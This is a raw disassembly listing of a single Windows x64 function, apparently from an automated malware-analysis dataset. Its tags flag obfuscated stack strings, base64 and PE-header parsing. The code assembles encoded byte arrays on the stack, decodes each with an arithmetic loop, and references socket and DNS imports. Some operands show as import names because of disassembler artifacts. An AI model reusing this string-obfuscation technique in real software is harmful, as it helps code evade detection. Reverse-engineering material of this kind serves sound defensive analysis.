Function at 0x140004d20
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Parse pe header

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x858
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x7c0], xmm6
mov qword [rbp + 0x7b8], 0xfffffffffffffffe
lea rcx, [0x140050e10]
xor ebx, ebx
mov r8d, 0x1000
xor edx, edx
call fcn.140033e10
lea rsi, [rbp + 0x10]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
lea r14, [0x140051e10]
lea r15, str._02x
mov rdi, qword [sym.imp.USER32.dll_wsprintfA]
nop word cs:[rax + rax]
nop dword [rax]
movzx r8d, byte [rbx + r14]
mov rcx, rsi
mov rdx, r15
call rdi
add rsi, 2
add rbx, 1
cmp rbx, 0x20
jne 0x140004db0
mov byte [rbp + 0x6a8], 0
mov byte [rbp + 0x6a9], 0xe
mov byte [rbp + 0x6aa], 8
mov byte [rbp + 0x6ab], 0xe
mov byte [rbp + 0x6ac], 8
mov byte [rbp + 0x6ad], 7
mov byte [rbp + 0x6ae], 0x7c
mov byte [rbp + 0x6af], 0x68
mov byte [rbp + WSAGetLastError0], 0x6b
mov byte [rbp + WSAGetLastError1], 0x6b
mov byte [rbp + 0x6b2], 7
mov byte [rbp + 0x6b3], 0x7c
mov byte [rbp + 0x6b4], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6b5], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6b6], 0xe
mov byte [rbp + 0x6b7], 8
mov byte [rbp + 0x6b8], 0xe
mov byte [rbp + 0x6b9], 8
mov byte [rbp + 0x6ba], reloc.WS2_32.dll_WSAStartup
mov al, byte [rbp + 0x6a8]
test al, 1
jne 0x140004ef6
mov eax, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x6a8]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0x1c4d
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0x1c4d
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0x1c4d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x6a8], cl
add rax, 1
cmp rax, 0x13
jne 0x140004e70
mov byte [rbp + 0x1e8], 0
mov byte [rbp + 0x1e9], 0
mov byte [rbp + 0x1ea], 0x68
mov byte [rbp + 0x1eb], setsockopt
mov byte [rbp + 0x1ec], 0x20
mov byte [rbp + 0x1ed], WSACleanup
mov byte [rbp + 0x1ee], WSACleanup
mov byte [rbp + 0x1ef], setsockopt
mov byte [rbp + 0x1f0], shutdown
mov byte [rbp + 0x1f1], WSACleanup
mov byte [rbp + 0x1f2], setsockopt
mov byte [rbp + 0x1f3], 0x43
mov byte [rbp + 0x1f4], WSACleanup
mov byte [rbp + 0x1f5], 0x47
mov byte [rbp + 0x1f6], setsockopt
mov byte [rbp + 0x1f7], 0x66
mov byte [rbp + 0x1f8], WSACleanup
mov byte [rbp + 0x1f9], 0x43
mov byte [rbp + 0x1fa], 0x47
mov byte [rbp + 0x1fb], shutdown
mov byte [rbp + 0x1fc], 0x66
mov byte [rbp + 0x1fd], 0x47
mov byte [rbp + 0x1fe], setsockopt
mov byte [rbp + 0x1ff], WSACleanup
mov byte [rbp + 0x200], 0x1c
mov byte [rbp + 0x201], setsockopt
mov byte [rbp + 0x202], shutdown
mov byte [rbp + 0x203], 0x43
mov byte [rbp + 0x204], shutdown
mov byte [rbp + 0x205], setsockopt
mov byte [rbp + 0x206], shutdown
mov byte [rbp + 0x207], WSACleanup
mov byte [rbp + 0x208], setsockopt
mov byte [rbp + 0x209], 0x43
mov byte [rbp + 0x20a], WSACleanup
mov byte [rbp + 0x20b], 0x47
mov byte [rbp + 0x20c], setsockopt
mov byte [rbp + 0x20d], 0x66
mov byte [rbp + 0x20e], WSACleanup
mov byte [rbp + 0x20f], 0x43
mov byte [rbp + 0x210], 0x68
mov byte [rbp + 0x211], WSAGetLastError
mov byte [rbp + 0x212], WSACleanup
mov byte [rbp + 0x213], 0x18
mov byte [rbp + 0x214], setsockopt
mov byte [rbp + 0x215], 0x47
mov byte [rbp + 0x216], 0x3f
mov byte [rbp + 0x217], 0x3d
mov byte [rbp + 0x218], setsockopt
mov byte [rbp + 0x219], 0x1a
mov byte [rbp + 0x21a], shutdown
mov byte [rbp + 0x21b], 0x20
mov byte [rbp + 0x21c], 0x18
mov byte [rbp + 0x21d], 0x3d
mov byte [rbp + 0x21e], 0x43
mov byte [rbp + 0x21f], 0x47
mov byte [rbp + 0x220], setsockopt
mov byte [rbp + 0x221], 0x49
mov byte [rbp + 0x222], WSAGetLastError
mov byte [rbp + 0x223], 0x47
mov byte [rbp + 0x224], 0x3f
mov byte [rbp + 0x225], WSAGetLastError
mov byte [rbp + 0x226], 0x43
mov byte [rbp + 0x227], setsockopt
mov byte [rbp + 0x228], WSACleanup
mov byte [rbp + 0x229], setsockopt
mov byte [rbp + 0x22a], shutdown
mov byte [rbp + 0x22b], shutdown
mov byte [rbp + 0x22c], 0x20
mov byte [rbp + 0x22d], 0x1c
mov byte [rbp + 0x22e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x22f], setsockopt
mov byte [rbp + 0x230], 0x49
mov byte [rbp + 0x231], 0x3d
mov byte [rbp + 0x232], setsockopt
mov byte [rbp + 0x233], 0x49
mov byte [rbp + 0x234], WSAGetLastError
mov byte [rbp + 0x235], WSAGetLastError
mov byte [rbp + 0x236], WSAGetLastError
mov byte [rbp + 0x237], setsockopt
mov byte [rbp + 0x238], 0x18
mov byte [rbp + 0x239], WSACleanup
mov byte [rbp + 0x23a], 0x1e
mov byte [rbp + 0x23b], 0x3d
mov byte [rbp + 0x23c], setsockopt
mov byte [rbp + 0x23d], 0x68
mov byte [rbp + 0x23e], WSACleanup
mov byte [rbp + 0x23f], WSACleanup
mov byte [rbp + 0x240], 0x49
mov byte [rbp + 0x241], shutdown
mov byte [rbp + 0x242], WSACleanup
mov byte [rbp + 0x243], shutdown
mov byte [rbp + 0x244], setsockopt
mov byte [rbp + 0x245], shutdown
mov byte [rbp + 0x246], 0x43
mov byte [rbp + 0x247], shutdown
mov byte [rbp + 0x248], setsockopt
mov byte [rbp + 0x249], 0x49
mov byte [rbp + 0x24a], WSAGetLastError
mov byte [rbp + 0x24b], WSAGetLastError
mov byte [rbp + 0x24c], WSAGetLastError
mov byte [rbp + 0x24d], setsockopt
mov byte [rbp + 0x24e], shutdown
mov byte [rbp + 0x24f], 0x43
mov byte [rbp + 0x250], 0x43
mov byte [rbp + 0x251], WSACleanup
mov byte [rbp + 0x252], WSACleanup
mov byte [rbp + 0x253], 0x43
mov byte [rbp + 0x254], 0x66
mov byte [rbp + 0x255], 0x3d
mov byte [rbp + 0x256], setsockopt
mov byte [rbp + 0x257], 0x47
mov byte [rbp + 0x258], 0x3f
mov byte [rbp + 0x259], 0x3d
mov byte [rbp + 0x25a], setsockopt
mov byte [rbp + 0x25b], 0x1c
mov byte [rbp + 0x25c], shutdown
mov byte [rbp + 0x25d], WSAGetLastError
mov byte [rbp + 0x25e], 0x3d
mov byte [rbp + 0x25f], 0x1c
mov byte [rbp + 0x260], setsockopt
mov byte [rbp + 0x261], WSACleanup
mov byte [rbp + 0x262], 0x68
mov byte [rbp + 0x263], setsockopt
mov byte [rbp + 0x264], 0x47
mov byte [rbp + 0x265], 0x3f
mov byte [rbp + 0x266], 0x3d
mov byte [rbp + 0x267], setsockopt
mov byte [rbp + 0x268], 0x3d
mov byte [rbp + 0x269], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x26a], 0x47
mov byte [rbp + 0x26b], WSACleanup
mov byte [rbp + 0x26c], shutdown
mov byte [rbp + 0x26d], 0x66
mov byte [rbp + 0x26e], 0x47
mov byte [rbp + 0x26f], 0x3d
mov byte [rbp + 0x270], shutdown
mov byte [rbp + 0x271], setsockopt
mov byte [rbp + 0x272], shutdown
mov byte [rbp + 0x273], shutdown
mov byte [rbp + 0x274], 0x47
mov byte [rbp + 0x275], shutdown
mov byte [rbp + 0x276], WSAGetLastError
mov byte [rbp + 0x277], 0x57
mov byte [rbp + 0x278], 0x55
mov byte [rbp + 0x279], 0x57
mov byte [rbp + 0x27a], 0x55
mov byte [rbp + 0x27b], 0x24
mov al, byte [rbp + 0x1e8]
test al, 1
jne 0x14000539c
mov eax, 1
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0x1e8]
movzx ecx, cl
imul ecx, ecx, 0xffffffc2
mov edx, ecx
add edx, 0x8b8
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x8b8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x8b8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x1e8], cl
add rax, 1
cmp rax, 0x94
jne 0x140005320
mov byte [rbp + 0x280], 0
mov byte [rbp + 0x281], 0x49
mov byte [rbp + 0x282], 0
mov byte [rbp + 0x283], 2
mov byte [rbp + 0x284], pe_nt_image_headers64
mov byte [rbp + 0x285], 0x25
mov byte [rbp + 0x286], 0x3c
mov byte [rbp + 0x287], 0x27
mov byte [rbp + 0x288], 9
mov byte [rbp + 0x289], WSACleanup
mov byte [rbp + 0x28a], 0x45
mov byte [rbp + 0x28b], 0x28
mov byte [rbp + 0x28c], pe_nt_image_headers64
mov byte [rbp + 0x28d], 2
mov byte [rbp + 0x28e], gethostbyname
mov byte [rbp + 0x28f], 0x7a
mov byte [rbp + 0x290], 0x3c
mov byte [rbp + 0x291], 2
mov byte [rbp + 0x292], 0x20
mov byte [rbp + 0x293], 0x28
mov byte [rbp + 0x294], 0x3c
mov byte [rbp + 0x295], 0x53
mov byte [rbp + 0x296], 0x28
mov byte [rbp + 0x297], 0x25
mov byte [rbp + 0x298], 0x53
mov byte [rbp + 0x299], 0x1e
mov byte [rbp + 0x29a], pe_nt_image_headers64
mov byte [rbp + 0x29b], 0x28
mov byte [rbp + 0x29c], 0x5c
mov byte [rbp + 0x29d], 0x1e
mov byte [rbp + 0x29e], 0x5a
mov byte [rbp + 0x29f], 9
mov byte [rbp + 0x2a0], WSACleanup
mov byte [rbp + 0x2a1], 2
mov byte [rbp + 0x2a2], 0x5a
mov byte [rbp + 0x2a3], 0x5a
mov byte [rbp + 0x2a4], 0x28
mov byte [rbp + 0x2a5], gethostname
mov byte [rbp + 0x2a6], 0x3e
mov byte [rbp + 0x2a7], 0x1e
mov byte [rbp + 0x2a8], 0x5a
mov byte [rbp + 0x2a9], 0x3c
mov byte [rbp + 0x2aa], 0x53
mov byte [rbp + 0x2ab], shutdown
mov byte [rbp + 0x2ac], 2
mov byte [rbp + 0x2ad], pe_nt_image_headers64
mov byte [rbp + 0x2ae], 0x28
mov byte [rbp + 0x2af], 0x20
mov byte [rbp + 0x2b0], 0x7a
mov byte [rbp + 0x2b1], 0x3c
mov byte [rbp + 0x2b2], 0x7a
mov byte [rbp + 0x2b3], 0x3d
mov byte [rbp + 0x2b4], 0x28
mov byte [rbp + 0x2b5], 0x7c
mov byte [rbp + 0x2b6], 0x1b
mov byte [rbp + 0x2b7], 0x22
mov byte [rbp + 0x2b8], 0x28
mov byte [rbp + 0x2b9], 0x67
mov byte [rbp + 0x2ba], 0x7a
mov byte [rbp + 0x2bb], 0x3c
mov byte [rbp + 0x2bc], 0x7a
mov byte [rbp + 0x2bd], 0x3d
mov byte [rbp + 0x2be], 0x28
mov byte [rbp + 0x2bf], 0x20
mov byte [rbp + 0x2c0], 0x53
mov byte [rbp + 0x2c1], 0x3e
mov byte [rbp + 0x2c2], 0x1e
mov byte [rbp + 0x2c3], shutdown
mov byte [rbp + 0x2c4], 2
mov byte [rbp + 0x2c5], WSACleanup
mov byte [rbp + 0x2c6], 0x3c
mov byte [rbp + 0x2c7], 0x5a
mov byte [rbp + 0x2c8], 0x28
mov byte [rbp + 0x2c9], pe_nt_image_headers64
mov byte [rbp + 0x2ca], 2
mov byte [rbp + 0x2cb], gethostbyname
mov byte [rbp + 0x2cc], 0x7a
mov byte [rbp + 0x2cd], 0x3c
mov byte [rbp + 0x2ce], 2
mov byte [rbp + 0x2cf], 0x20
mov byte [rbp + 0x2d0], 0x28
mov byte [rbp + 0x2d1], 0x3c
mov byte [rbp + 0x2d2], 0x53
mov byte [rbp + 0x2d3], 0x28
mov byte [rbp + 0x2d4], 0x25
mov byte [rbp + 0x2d5], 0x53
mov byte [rbp + 0x2d6], 0x1e
mov byte [rbp + 0x2d7], pe_nt_image_headers64
mov byte [rbp + 0x2d8], 0x28
mov byte [rbp + 0x2d9], 0x53
mov byte [rbp + 0x2da], pe_nt_image_headers64
mov byte [rbp + 0x2db], 0x20
mov byte [rbp + 0x2dc], 2
mov byte [rbp + 0x2dd], pe_nt_image_headers64
mov byte [rbp + 0x2de], 0x5a
mov byte [rbp + 0x2df], 0x28
mov byte [rbp + 0x2e0], 0x7a
mov byte [rbp + 0x2e1], WSACleanup
mov byte [rbp + 0x2e2], 0x20
mov byte [rbp + 0x2e3], 0x28
mov byte [rbp + 0x2e4], 0x20
mov byte [rbp + 0x2e5], 2
mov byte [rbp + gethostbyname6], 0x2e
mov byte [rbp + 0x2e7], 9
mov byte [rbp + 0x2e8], 0
mov byte [rbp + 0x2e9], 2
mov byte [rbp + 0x2ea], pe_nt_image_headers64
mov byte [rbp + 0x2eb], 0x25
mov byte [rbp + 0x2ec], 0x3d
mov byte [rbp + 0x2ed], 0x28
mov byte [rbp + 0x2ee], 0x7a
mov byte [rbp + 0x2ef], WSACleanup
mov byte [rbp + 0x2f0], 0x20
mov byte [rbp + 0x2f1], 0x28
mov byte [rbp + 0x2f2], 0x53
mov byte [rbp + 0x2f3], 0x3c
mov byte [rbp + 0x2f4], 0x27
mov byte [rbp + 0x2f5], 2
mov byte [rbp + 0x2f6], pe_nt_image_headers64
mov byte [rbp + 0x2f7], 0x5a
mov byte [rbp + 0x2f8], 0x18
mov byte [rbp + 0x2f9], 1
mov byte [rbp + 0x2fa], 0x28
mov byte [rbp + 0x2fb], 0x66
mov byte [rbp + 0x2fc], 0x41
mov byte [rbp + 0x2fd], 0x66
mov byte [rbp + 0x2fe], 0x41
mov byte [rbp + 0x2ff], reloc.WS2_32.dll_WSAGetLastError
mov al, byte [rbp + 0x280]
test al, 1
jne 0x1400057ac
mov eax, 1
nop
movzx ecx, byte [rbp + rax + 0x280]
movzx ecx, cl
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xffffe827
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xffffe827
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xffffe827
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x280], cl
add rax, 1
cmp rax, 0x80
jne 0x140005730
mov byte [rbp + 0x3f0], 0
mov byte [rbp + 0x3f1], 0x2c
mov byte [rbp + 0x3f2], WSACleanup
mov byte [rbp + 0x3f3], 0x77
mov byte [rbp + 0x3f4], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x3f5], 0x29
mov byte [rbp + 0x3f6], 0x4e
mov byte [rbp + 0x3f7], inet_ntoa
mov byte [rbp + 0x3f8], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x3f9], inet_ntoa
mov byte [rbp + 0x3fa], 0x29
mov byte [rbp + 0x3fb], inet_ntoa
mov byte [rbp + 0x3fc], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x3fd], 0x3a
mov byte [rbp + 0x3fe], 0x29
mov byte [rbp + 0x3ff], 0x77
mov byte [rbp + 0x400], 0x5c
mov byte [rbp + 0x401], 0x2d
mov byte [rbp + 0x402], WSACleanup
mov byte [rbp + 0x403], inet_ntoa
mov byte [rbp + 0x404], 0x4e
mov byte [rbp + 0x405], 0x3a
mov byte [rbp + 0x406], 0x4e
mov byte [rbp + 0x407], 0x29
mov byte [rbp + 0x408], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x409], WSACleanup
mov byte [rbp + 0x40a], 0x29
mov byte [rbp + 0x40b], WSACleanup
mov byte [rbp + 0x40c], 0x77
mov byte [rbp + 0x40d], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x40e], 0x29
mov byte [rbp + 0x40f], 0x20
mov byte [rbp + 0x410], 0x3a
mov byte [rbp + 0x411], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x412], 0x63
mov byte [rbp + 0x413], 0x3a
mov byte [rbp + 0x414], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x415], 0x20
mov byte [rbp + 0x416], 0x29
mov byte [rbp + 0x417], 0x76
mov byte [rbp + 0x418], 0x3a
mov byte [rbp + 0x419], 0x26
mov byte [rbp + 0x41a], WSACleanup
mov byte [rbp + 0x41b], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x41c], 0x3a
mov byte [rbp + 0x41d], 0x29
mov byte [rbp + 0x41e], 0x76
mov byte [rbp + 0x41f], 0x3a
mov byte [rbp + 0x420], WSAGetLastError
mov byte [rbp + 0x421], 5
mov byte [rbp + 0x422], shutdown
mov byte [rbp + 0x423], 0x29
mov byte [rbp + 0x424], 0x3a
mov byte [rbp + 0x425], 5
mov byte [rbp + 0x426], 0x62
mov byte [rbp + 0x427], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x428], 0x27
mov byte [rbp + 0x429], 0x5c
mov byte [rbp + 0x42a], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x42b], 0x3a
mov byte [rbp + 0x42c], 0x4e
mov byte [rbp + 0x42d], gethostname
mov byte [rbp + 0x42e], 0x29
mov byte [rbp + 0x42f], 0x28
mov byte [rbp + 0x430], 0x64
mov byte [rbp + 0x431], 0x28
mov byte [rbp + 0x432], 0x64
mov byte [rbp + 0x433], gethostbyname
mov al, byte [rbp + 0x3f0]
test al, 1
jne 0x140005a1e
mov eax, 1
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x3f0]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffc96
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffc96
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffc96
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x3f0], cl
add rax, 1
cmp rax, 0x44
jne 0x1400059a0
mov byte [rbp + 0x7a8], 0
mov byte [rbp + 0x7a9], 0x2c
mov byte [rbp + 0x7aa], 0x55
mov byte [rbp + 0x7ab], 0x7a
mov byte [rbp + 0x7ac], inet_ntoa
mov byte [rbp + 0x7ad], reloc.WS2_32.dll_socket
mov byte [rbp + 0x7ae], WSACleanup
mov byte [rbp + 0x7af], 0x47
mov byte [rbp + 0x7b0], 0x7d
mov byte [rbp + 0x7b1], 0x47
mov byte [rbp + 0x7b2], 0x7d
mov byte [rbp + 0x7b3], gethostbyname
mov al, byte [rbp + 0x7a8]
test al, 1
jne 0x140005b10
mov eax, 1
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0x7a8]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffe9b
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffe9b
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffe9b
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x7a8], cl
add rax, 1
cmp rax, 0xc
jne 0x140005a90
mov byte [rbp + 0x4e8], 0
mov byte [rbp + 0x4e9], 0x2d
mov byte [rbp + 0x4ea], 0x68
mov byte [rbp + 0x4eb], 0x68
mov byte [rbp + 0x4ec], 0x2a
mov byte [rbp + 0x4ed], 0x19
mov byte [rbp + 0x4ee], 0x5e
mov byte [rbp + 0x4ef], WSACleanup
mov byte [rbp + 0x4f0], WSACleanup
mov byte [rbp + 0x4f1], 0x57
mov byte [rbp + 0x4f2], 0x57
mov byte [rbp + 0x4f3], 0x57
mov byte [rbp + 0x4f4], 0x23
mov byte [rbp + 0x4f5], 0x1f
mov byte [rbp + 0x4f6], 0x5a
mov byte [rbp + 0x4f7], 0x7c
mov byte [rbp + 0x4f8], inet_ntoa
mov byte [rbp + 0x4f9], 0x4f
mov byte [rbp + 0x4fa], 0
mov byte [rbp + 0x4fb], 0x19
mov byte [rbp + 0x4fc], 0x3e
mov byte [rbp + 0x4fd], 0x23
mov byte [rbp + 0x4fe], 0x1f
mov byte [rbp + 0x4ff], 0x5a
mov byte [rbp + 0x500], 0x3b
mov byte [rbp + 0x501], WSACleanup
mov byte [rbp + 0x502], 0x2d
mov byte [rbp + 0x503], 0x5a
mov byte [rbp + 0x504], 0x57
mov byte [rbp + 0x505], 0x53
mov byte [rbp + 0x506], 0x68
mov byte [rbp + 0x507], 0x5a
mov byte [rbp + 0x508], 0x53
mov byte [rbp + 0x509], 0x4f
mov byte [rbp + 0x50a], gethostname
mov byte [rbp + 0x50b], 0x76
mov byte [rbp + 0x50c], WSACleanup
mov byte [rbp + 0x50d], 0x4f
mov byte [rbp + 0x50e], 0x7c
mov byte [rbp + 0x50f], 0x68
mov byte [rbp + 0x510], 0x1f
mov byte [rbp + 0x511], 0x5a
mov byte [rbp + 0x512], 0x7c
mov byte [rbp + 0x513], inet_ntoa
mov byte [rbp + 0x514], 0x5f
mov byte [rbp + 0x515], WSACleanup
mov byte [rbp + 0x516], 0x5f
mov byte [rbp + 0x517], WSACleanup
mov byte [rbp + 0x518], 0x54
mov al, byte [rbp + 0x4e8]
test al, 1
jne 0x140005cfa
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x4e8]
movzx ecx, cl
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0xec4
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xec4
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xec4
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x4e8], cl
add rax, 1
cmp rax, 0x31
jne 0x140005c80
mov byte [rbp + 0x478], 0
mov byte [rbp + 0x479], gethostbyname
mov byte [rbp + 0x47a], 0x21
mov byte [rbp + 0x47b], 0x21
mov byte [rbp + 0x47c], 0x7b
mov byte [rbp + 0x47d], 0x77
mov byte [rbp + 0x47e], 0x44
mov byte [rbp + 0x47f], 0x7d
mov byte [rbp + 0x480], 0x7d
mov byte [rbp + 0x481], 0x1d
mov byte [rbp + 0x482], 0x1d
mov byte [rbp + 0x483], 0x1d
mov byte [rbp + 0x484], 0x54
mov byte [rbp + 0x485], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x486], 0x5a
mov byte [rbp + 0x487], 0x29
mov byte [rbp + 0x488], shutdown
mov byte [rbp + 0x489], 0x29
mov byte [rbp + 0x48a], 0x62
mov byte [rbp + 0x48b], gethostname
mov byte [rbp + 0x48c], 0x54
mov byte [rbp + 0x48d], 0x62
mov byte [rbp + 0x48e], 0x52
mov byte [rbp + 0x48f], 0
mov byte [rbp + 0x490], 0x7d
mov byte [rbp + 0x491], gethostname
mov byte [rbp + 0x492], 0x29
mov byte [rbp + 0x493], 0x7d
mov byte [rbp + 0x494], gethostbyname
mov byte [rbp + 0x495], 0x52
mov byte [rbp + 0x496], 0x1d
mov byte [rbp + 0x497], 0x2b
mov byte [rbp + 0x498], 0x21
mov byte [rbp + 0x499], 0x52
mov byte [rbp + 0x49a], 0x2b
mov byte [rbp + 0x49b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x49c], 0x4a
mov byte [rbp + 0x49d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x49e], 0x7d
mov byte [rbp + 0x49f], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x4a0], 0x5a
mov byte [rbp + 0x4a1], 0x21
mov byte [rbp + 0x4a2], 0x62
mov byte [rbp + 0x4a3], 0x52
mov byte [rbp + 0x4a4], 0x5a
mov byte [rbp + 0x4a5], 0x29
mov byte [rbp + 0x4a6], 1
mov byte [rbp + 0x4a7], 5
mov byte [rbp + 0x4a8], 1
mov byte [rbp + 0x4a9], 5
mov byte [rbp + 0x4aa], 0x67
mov al, byte [rbp + 0x478]
test al, 1
jne 0x140005efe
mov eax, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x478]
movzx ecx, cl
mov edx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add ecx, 0xfffff387
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffff387
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffff387
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x478], cl
add rax, 1
cmp rax, 0x33
jne 0x140005e80
mov byte [rbp + 0x688], 0
mov byte [rbp + 0x689], 0x63
mov byte [rbp + 0x68a], 0x65
mov byte [rbp + 0x68b], shutdown
mov byte [rbp + 0x68c], 0x7b
mov byte [rbp + 0x68d], 0x62
mov byte [rbp + 0x68e], 0x65
mov byte [rbp + 0x68f], 0x7b
mov byte [rbp + 0x690], 0x3a
mov byte [rbp + 0x691], 0x48
mov byte [rbp + 0x692], 0x5f
mov byte [rbp + 0x693], 0x7b
mov byte [rbp + 0x694], 0x62
mov byte [rbp + 0x695], 0x1d
mov byte [rbp + 0x696], WSAGetLastError
mov byte [rbp + 0x697], 0x7b
mov byte [rbp + 0x698], 1
mov byte [rbp + 0x699], 0x29
mov byte [rbp + 0x69a], 0x66
mov byte [rbp + 0x69b], 0x4f
mov byte [rbp + 0x69c], WSAGetLastError
mov byte [rbp + 0x69d], 0x3c
mov byte [rbp + 0x69e], WSAGetLastError
mov byte [rbp + 0x69f], 0x3c
mov byte [rbp + 0x6a0], 0x42
mov al, byte [rbp + 0x688]
test al, 1
jne 0x14000603a
mov eax, 1
movzx ecx, byte [rbp + rax + 0x688]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0xb58
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xb58
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xb58
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x688], cl
add rax, 1
cmp rax, 0x19
jne 0x140005fc0
mov byte [rbp + 0x438], 0
